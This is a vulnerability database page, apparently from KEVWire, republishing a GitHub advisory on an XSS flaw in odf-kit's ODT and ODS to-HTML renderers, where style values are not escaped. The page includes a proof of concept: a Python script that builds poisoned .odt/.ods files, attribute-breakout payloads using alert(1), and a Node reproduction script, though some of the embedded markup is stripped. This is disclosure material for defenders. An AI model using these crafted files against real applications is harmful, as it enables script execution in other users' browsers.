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Response snapshot Nov 4, 2026, 23:06 UTC

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VulnerabilityCVE-2026-113787

odf-kit: HTML injection leading to XSS in odtToHtml() and odsToHtml() via unescaped style attribute values

ODF style attribute values are interpolated into style="..." attributes without HTML-escaping in both of odf-kit's to-HTML renderers (odtToHtml and odsToHtml).

Published Updated

At a glance

Exploited
Not known
Severity
6.1 Medium (CVSS 3.1)
Chance of exploitation
Not estimated
Sources
1 source

What to do

GitHub lists first patched versions: odf-kit: 0.14.2. Confirm the affected range and upgrade guidance in the exact advisory.

Read GitHub-reviewed advisory GHSA-3cgg-c5pp-57h6 (opens a new tab)

What happened

Summary

ODF style attribute values are interpolated into style="..." attributes without HTML-escaping in both of odf-kit's to-HTML renderers (odtToHtml and odsToHtml). A double-quote character inside an attacker-controlled style value breaks out of the attribute, allowing arbitrary HTML/attribute injection — and therefore script execution (XSS) — from a crafted .odt or .ods file wherever the rendered output is inserted as HTML, which is the documented purpose of both functions.

ODT renderer (src/odt/to-html/html-renderer.ts)

The renderer has an escapeHtml() helper and applies it consistently to text content and to attribute values — href, src, alt, id, data-author, data-date, citation text all go through it. The inline CSS strings do not.

Continue reading

In renderTextSpan (dist/odt/to-html/html-renderer.js:195):

const css = spanStyleToCss(span.style);
if (css)
 html = ` ${html} `;

The value of e.g. fo:color is copied from the document into style.fontColor verbatim by the parser (extractSpanStyle, read/parser.js:348), then concatenated raw into the attribute. A " in the value terminates the attribute early.

The same unescaped style="${...}" pattern appears at roughly ten other emission sites: paragraph and heading (paragraphStyleToCss), table cells and rows (cellStyleToCss, rowStyleToCss), , and the image style attribute. The affected source attributes include fo:color, fo:background-color, fo:text-shadow, fo:letter-spacing, fo:font-family (via both direct and font-face resolution), fo:margin-*, fo:padding-*, fo:line-height, fo:border*, and style:vertical-align.

ODS renderer (src/ods/to-html/html-renderer.ts) — same bug

buildInlineStyle() assembles the CSS string from cell formatting properties — fo:color, fo:font-size, fo:font-family, fo:background-color, fo:text-align, etc. — with zero escapeHtml calls, and renderCell emits it raw (line 65):

if (includeStyles && cell.formatting) {
 const style = buildInlineStyle(cell.formatting);
 if (style) attrs.push(`style="${style}"`);
}

Additionally, row.height (from style:row-height) goes raw into the row element (line 95):

const style = includeStyles && row.height ? ` style="height:${row.height}"` : "";
return ` ${cells} `;

The same injection is reachable through the public odf-kit/ods/to-html export (odsToHtml()), so both to-HTML directions are affected.

Version scope

The odt/to-html and ods/to-html modules first shipped in 0.14.0; the current latest release is 0.14.1. The PoCs were re-ran against the unreleased main branch (commit 270a361) — both injections still fire, so no fix has landed past the release.

PoC

Each PoC is a minimal ODF package (mimetype + META-INF/manifest.xml + content.xml) whose content.xml contains exactly one poisoned automatic style. The files are generated by this short Python script (stdlib only, no dependencies) — save as build-pocs.py and run python3 build-pocs.py:

import zipfile

def build(path, mimetype, content):
 # ODF requires 'mimetype' first and stored uncompressed
 with zipfile.ZipFile(path, "w") as z:
 z.writestr(zipfile.ZipInfo("mimetype"), mimetype, compress_type=zipfile.ZIP_STORED)
 z.writestr("META-INF/manifest.xml",
 ' \n'
 ' \n'
 ' \n'
 ' \n'
 ' \n')
 z.writestr("content.xml", content)

ODT = "application/vnd.oasis.opendocument.text"
ODS = "application/vnd.oasis.opendocument.spreadsheet"
HEAD = (' \n'
 ' ')

Q = """
p1 = f"red{Q} onmouseover={Q}alert(1){Q} x={Q}" # attribute injection
p2 = f'red{Q}><img src=x onerror={Q}alert(1){Q}><x style={Q}' # full markup injection

# .odt: one paragraph with a poisoned automatic text style
def odt(p):
 return (HEAD + '\n \n'
 ' \n'
 f' \n'
 ' \n \n'
 ' hello '
 ' \n')

# .ods: one cell with a poisoned automatic cell style
def ods(p):
 return (HEAD + '\n \n'
 ' \n'
 f' \n'
 ' \n \n'
 ' '
 ' '
 ' hello '
 ' \n')

build("poc1.odt", ODT, odt(p1))
build("poc2.odt", ODT, odt(p2))
build("poc3.ods", ODS, ods(p2))

This produces poc1.odt, poc2.odt and poc3.ods. The only attacker-controlled input is the fo:color value on the style — for poc1 it reads, as stored in content.xml:

poc1.odt — attribute injection (ODT). The fo:color value (unescaped) is:

red" onmouseover="alert(1)" x="

(encoded as " in the XML). Output of odtToHtml(bytes, { fragment: true }):

 hello

The quote breaks out of style, and onmouseover becomes a real attribute on the span.

poc2.odt — full markup injection (ODT). The style value is:

red"> hello

poc3.ods — same injection via the ODS renderer. A crafted .ods whose cell automatic style carries a poisoned fo:color value (same payload as poc2). Output of odsToHtml(bytes):

 hello

Reproduction script:

import { readFileSync } from 'fs';
import { odtToHtml } from 'odf-kit/odt/to-html';
import { odsToHtml } from 'odf-kit/ods/to-html';

const bytes = (p) => new Uint8Array(readFileSync(p));

console.log(odtToHtml(bytes('poc2.odt'), { fragment: true }));
console.log(odsToHtml(bytes('poc3.ods')));

This was found while auditing ODT import paths in a web application that uses odf-kit as its converter. That application happens to sanitize the output downstream, so minimal standalone reproductions were built against the published odf-kit 0.14.1 package directly in Node.

Impact

Any consumer that renders odtToHtml() or odsToHtml() output as HTML — which is both functions' documented purpose — gets XSS from a crafted .odt/.ods file they convert. Untrusted file → arbitrary tags and attributes → script execution in the host page with the page's origin. The fragment mode ({ fragment: true }) is equally affected. The header comment in the ODT renderer currently promises "the output is safe to embed in any context", so consumers may reasonably b

Affected package ranges reported by GitHub: odf-kit: >= 0.6.0, < 0.14.2

Scores and how they were measured

CVSS base severity

6.1

Version 3.1As of

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Measurement source (opens a new tab)

How bad it is if exploited. Not a prediction of exploitation or proof you are exposed.

EPSS probability

Not available

A model's estimate of exploitation in the next 30 days, not certainty or your own risk.

Related technology

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Sources

  1. Primary source

    GitHub-reviewed advisory GHSA-3cgg-c5pp-57h6 (opens a new tab)

    The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review.

    Published Checked

  2. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-3cgg-c5pp-57h6, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

Cite this record

For factual claims, cite the primary sources above; cite KEVWire for its compilation, dates, and classifications.

APA

KEVWire. (2026, November 4). odf-kit: HTML injection leading to XSS in odtToHtml() and odsToHtml() via unescaped style attribute values (CVE-2026-113787). https://kevwire.com/record/CVE-2026-113787

MLA

"odf-kit: HTML injection leading to XSS in odtToHtml() and odsToHtml() via unescaped style attribute values (CVE-2026-113787)." KEVWire, 4 Nov. 2026, kevwire.com/record/CVE-2026-113787.

Chicago

KEVWire. "odf-kit: HTML injection leading to XSS in odtToHtml() and odsToHtml() via unescaped style attribute values (CVE-2026-113787)." Last modified November 4, 2026. https://kevwire.com/record/CVE-2026-113787.

Evidence summary (plain text)

odf-kit: HTML injection leading to XSS in odtToHtml() and odsToHtml() via unescaped style attribute values (Nov 4, 2026).
ODF style attribute values are interpolated into style="..." attributes without HTML-escaping in both of odf-kit's to-HTML renderers (odtToHtml and odsToHtml). A double-quote character inside an attacker-controlled style value breaks out of the attribute, allowing arbitrary HTML/attribute injection — and therefore script execution (XSS) — from a crafted .odt or .ods file wherever the rendered output is inserted as HTML, which is the documented purpose of both functions.
CVSS 6.1 (version 3.1; evidence as of Nov 4, 2026; https://github.com/advisories/GHSA-3cgg-c5pp-57h6).
Sources:
GitHub-reviewed advisory GHSA-3cgg-c5pp-57h6: https://github.com/advisories/GHSA-3cgg-c5pp-57h6
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
Record ID: CVE-2026-113787.
Record origin: Ingested record.
AI evidence: Not assessed.
Known exploitation: Not assessed.
Zero-day status: Not assessed. KEV membership alone does not establish zero-day status.
About this data

This record was ingested from a data source. Retrieved: Nov 4, 2026, 23:05 UTC. Ingestion is not an independent editorial investigation.

A CISA KEV listing documents known exploitation, not necessarily a zero-day; absence from the catalog does not prove a vulnerability has never been exploited.

Technology tags indicate possible relevance, not verified exposure. Confirm the affected product, version, and configuration against your own inventory; KEVWire does not scan your systems.

A personal reading checklist on this device, not verified remediation.

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